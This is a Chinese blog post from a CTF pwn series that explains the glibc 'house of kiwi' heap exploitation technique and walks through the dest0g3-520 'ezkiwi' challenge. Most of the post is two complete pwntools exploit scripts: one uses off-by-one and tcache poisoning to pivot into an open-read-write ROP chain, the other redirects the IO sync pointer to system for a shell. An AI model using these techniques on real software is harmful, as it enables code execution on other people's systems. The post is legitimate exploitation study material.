A2ur2的梦想小屋

我许下的愿望该向谁去说明

0%

努力成长的pwn弟系列【3】-豪撕欧符奇异(house of kiwi

到这里,算是勉强进入了glibc的大门吧(逃

house of系列其实就是堆的一些利用组合拳,这个豪撕欧符奇异(house of kiwi)是fmyy师傅最先在安全客提出来的一种船新的利用手法。

它新就新在提供了一种船新的进入IO流的方式。当程序使用_exit结束进程时,就没有机会调用IO clean。并且高版本中我们的malloc hook和free hook都是大寄特寄的情况下,kiwi给我们带来了一条新道路。听懂掌声

一、house of kiwi

1、原理

house of kiwi是通过🐏top chunk 触发malloc_assert这个断言,从而进入到fflush。

malloc_assert:

1
2
3
4
5
6
7
8
9
10
11
12
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}

在fflush里会调用_IO_file_jumps中的sync指针

这里我带来了我的图图,方便理解

vqSwYq.png

正是在这call qword ptr [rbp + 0x60] 的地方,调用了这个sync(这里我已经将其🐏成了setcontext+61,原本是指向sync的),而此时我们的rbp值为_IO_file_jumps,所以我们可以借此来定位到这个函数指针,修改此处即可执行任意函数。

众所周知,高版本的情况下,我们的setcontext是通过rdx来索引传参的,而在调试的过程中我们不难发现rdx的值始终为IO_helper_jumps 的指针。

2、利用

至此我们可以总结出豪撕欧符奇异的利用条件,需要两次任意地址写以及一次打爆top chunk触发assert的机会。

因为要触发assert的断言, 在_int_malloc中存在一个 assert (chunk_main_arena (bck->bk));位置可以触发,此外当top_chunk的大小不够分配时,则会进入sysmalloc中检查top chunk的size|flag进行判断。

所以要么我们打main_arena中负责管理top chunk的地方,要么有一次malloc大堆块导致top chunk大小不够的机会,并且要打爆top chunk的size位(个人认为第二种很麻烦,条件也苛刻,不如直接打main_arena

两次任意地址写:

一次修改函数指针

1
_IO_file_sync = setcontext + 61

一次修改IO_helper_jumps+0xa0和IO_helper_jumps+0xa8

1
`IO_helper_jumps`+0xa0=fake_rsp
1
`IO_helper_jumps`+0xa8=fake_rip

二、例题:dest0g3-520招新赛 ezkiwi

1、程序分析:

存在off by one,手动清空了hook并且没有exit,menu(666)给了一次malloc很大堆块的机会,但是没有开沙箱。

2、利用思路:

利用off by one伪造unsorted bin来leak libc

利用残留指针leak heap_addr

利用割unsorted bin的方式造成堆块复用打tcache poison三次,实现两次任意地址写和一次打top chunk

利用gift触发assert

3、调试过程中的小tips

这里我是gdb进fflush里面找_IO_file_sync,不知道为什么 _IO_file_jumps + 0x60 这个地址和我call的那个老不同。

而且syscall ;ret这个gadget用ROPgadget和ropper都没找出来,找出来的前面都有很多别的汇编,手动去gdb里找到syscall开始的那个地址即可。

4、exp:

这里是笨方法修改next指针打tcache poison,堆布局比较弱智,打tcache struct就不用那么麻烦了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
from pwn import*
p=process('./kiwi')
context.os = 'linux'
context.log_level = 'debug'
context.arch = 'amd64'
def check():
gdb.attach(p)
raw_input()

def menu(choice):

p.sendafter('>>',str(choice))
def add(size,id,data):
menu(1)
p.sendafter('How much do you want?',str(size))
p.sendlineafter('Which one do you want to put?',str(id))
p.sendafter('Tell me your idea:',str(data))

def free(id):
menu(2)
p.sendafter('Which one do you want to remove?',str(id))

def show(id):
menu(3)
p.sendafter('Which one do you want to look?',str(id))

def edit(id,data):
menu(4)
p.sendafter('Which one do you want to',str(id))
p.sendafter('Change your idea:',str(data))

p.sendlineafter('name','./flag.txt\x00')

add(0x38,2,'a2ur2')#chunk2
add(0x38,3,'a2ur2')#chunk3

add(0x10,4,'a2ur2')#chunk4
#check()
free(2)
free(3)
add(0x38,1,'a')
show(1)

p.recvuntil('content: ')
heap=u64(p.recv(6).ljust(8,b'\x00'))-0x261
print('[+]heap_add= '+hex(heap))
flagadd=heap+0x2a0
free(1)
add(0x18,1,'1')
add(0x28,9,'9')#overlap 2
add(0xb0,2,'2')#change size =>0x450
add(0x100,3,'3')
add(0x100,5,'5')
add(0x100,6,'6')
add(0x100,7,'7')
add(0x10,8,'8')

edit(1,'a'*0x18+p64(0xf1)+'\n')

free(9)

add(0xe0,9,'a'*0x28+p64(0x501))

free(2)
add(0xb0,2,'2')
show(3)
libc=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1ebbe0
print('[+]libc= '+hex(libc))

pop_rdi=libc+0x0000000000026b72
pop_rsi=libc+0x0000000000027529
pop_rdx_12=libc+0x000000000011c1e1
ret=libc+0x0000000000025679
pop_rax=libc+0x000000000004a550
w=libc+0x111040
O=libc+0x110cc0
r=libc+0x110fa0
rsp=heap+0x530+0x10
rip=rsp+0x8
free(1)
_IO_help_jumps=libc+0x1ec940
syc=libc+0x1ed500#setcontext+61
setcontext=libc+0x580a0+61
system=libc+0x55410
syscall=libc+0x941a4
pop_rbp=libc+0x00000000000256c0
ROP=p64(pop_rax)+p64(2)+p64(pop_rdx_12)+p64(0)*2+p64(pop_rdi)+p64(flagadd)+p64(pop_rsi)+p64(0)+p64(syscall)

free(4)

add(0x28,4,'a2ur2')

add(0x28,1,'a2ur2')
free(1)
free(4)

edit(3,p64(syc)+'\n')

add(0x28,4,p64(setcontext)+'\n')

add(0x28,1,p64(setcontext)+'\n')

free(6)
free(7)
add(0x28,6,'\n')

add(0x28,7,'\n')
free(6)
free(7)
stderr=libc+0x1ec5c0
pd=p64(0)+p64(0x111)+p64(stderr)+'\n'

edit(3,'a'*0x28+p64(0x31)+p64(0)+p64(heap+0x10)+p64(0)*3+p64(0x31)+p64(0)+p64(heap+0x10)+p64(0)*3+p64(0x31)+p64(_IO_help_jumps)+'\n')

add(0x28,6,'6')
add(0x28,7,p64(rsp)+p64(ret)+'\n')
free(6)
free(3)

add(0xe0,3,ROP)
free(2)
free(9)
add(0x40,2,'a')
add(0x40,9,'a')
free(9)
free(2)
topchunk=heap+0x8d0
pd=p64(r)+p64(pop_rdi)+p64(1)+p64(w)+'a'*0x70+p64(0)+p64(0x51)+p64(topchunk)+p64(heap+0x10)+'\n'
edit(5,p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap)+p64(pop_rdx_12)+p64(0x100)+p64(0)+p64(r)+p64(pop_rdi)+p64(1)+p64(w)+'a'*0x38+p64(0)+p64(0x51)+p64(topchunk)+p64(heap+0x10)+'\n')
check()
add(0x40,2,p64(0)+p64(0x114514))

add(0x40,9,p64(0)*2)
check()
p.sendline('666')
#check()
p.interactive()


下班吃饭

vq9lM8.png

5、没开沙箱的exp two

因为这里题目没有开沙箱,所以我们可以直接打sync为system,并且是传入stdrr作为参数,这里打成\bin\sh即可get shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from pwn import*
p=process('./kiwi')
context.os = 'linux'
context.log_level = 'debug'
context.arch = 'amd64'
def check():
gdb.attach(p)
raw_input()

def menu(choice):

p.sendafter('>>',str(choice))
def add(size,id,data):
menu(1)
p.sendafter('How much do you want?',str(size))
p.sendlineafter('Which one do you want to put?',str(id))
p.sendafter('Tell me your idea:',str(data))

def free(id):
menu(2)
p.sendafter('Which one do you want to remove?',str(id))

def show(id):
menu(3)
p.sendafter('Which one do you want to look?',str(id))

def edit(id,data):
menu(4)
p.sendafter('Which one do you want to',str(id))
p.sendafter('Change your idea:',str(data))

p.sendlineafter('name','./flag')

add(0x38,2,'a2ur2')#chunk2
add(0x38,3,'a2ur2')#chunk3

add(0x10,4,'a2ur2')#chunk4
#check()
free(2)
free(3)
add(0x38,1,'a')
show(1)

p.recvuntil('content: ')
heap=u64(p.recv(6).ljust(8,b'\x00'))-0x261
print('[+]heap_add= '+hex(heap))
flagadd=heap+0x2a0
free(1)
add(0x18,1,'1')
add(0x28,9,'9')#overlap 2
add(0xb0,2,'2')#change size =>0x450
add(0x100,3,'3')
add(0x100,5,'5')
add(0x100,6,'6')
add(0x100,7,'7')
add(0x10,8,'8')

edit(1,'a'*0x18+p64(0xf1)+'\n')

free(9)

add(0xe0,9,'a'*0x28+p64(0x501))

free(2)
add(0xb0,2,'2')
show(3)
libc=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1ebbe0
print('[+]libc= '+hex(libc))
free(1)
_IO_help_jumps=libc+0x1ed4a0
syc=libc+0x1ed500#setcontext+61
setcontext=libc+0x580a0+0x61
system=libc+0x55410
free(4)

add(0x28,4,'a2ur2')

add(0x28,1,'a2ur2')
free(1)
free(4)

edit(3,p64(syc)+'\n')

add(0x28,4,p64(system)+'\n')

add(0x28,1,p64(system)+'\n')

free(6)
free(7)
add(0x28,6,'\n')

add(0x28,7,'\n')
free(6)
free(7)
stderr=libc+0x1ec5c0
pd=p64(0)+p64(0x111)+p64(stderr)+'\n'

edit(3,'a'*0x28+p64(0x31)+p64(0)+p64(heap+0x10)+p64(0)*3+p64(0x31)+p64(0)+p64(heap+0x10)+p64(0)*3+p64(0x31)+p64(stderr)+'\n')


add(0x28,6,'6')
add(0x28,7,'/bin/sh\0'+'\n')
free(2)
free(9)
add(0x40,2,'a')
add(0x40,9,'a')
free(2)
free(9)
topchunk=heap+0x8d0
edit(5,p64(topchunk)+'\n')

add(0x40,2,p64(0)+p64(0x114514))
add(0x40,9,'a2ur2'*2)
check()
p.sendline('666')
#check()
p.interactive()

三、后记

vmtool挂了装不好之后,直接心狠手辣删了整个20.04的镜像。陪伴我pwn了这么久的镜像挂了,换了一个船新的22.04,当事人表示新版本很舒服很好用(不是渣男。

pwn真好玩